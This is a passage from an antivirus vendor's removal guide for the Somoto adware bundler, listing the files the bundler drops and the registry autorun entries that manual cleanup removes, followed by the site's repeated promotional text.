%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\DCytaiesmt_smtyc_setup.exe (380075 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\D53C5DD7A5B8C753 (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E1.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj41E0.tmp (39594 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_adworkmedia_1" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"FLV Player" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\WebPlayer.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.I_107e4dff93

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.I_107e4dff93

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet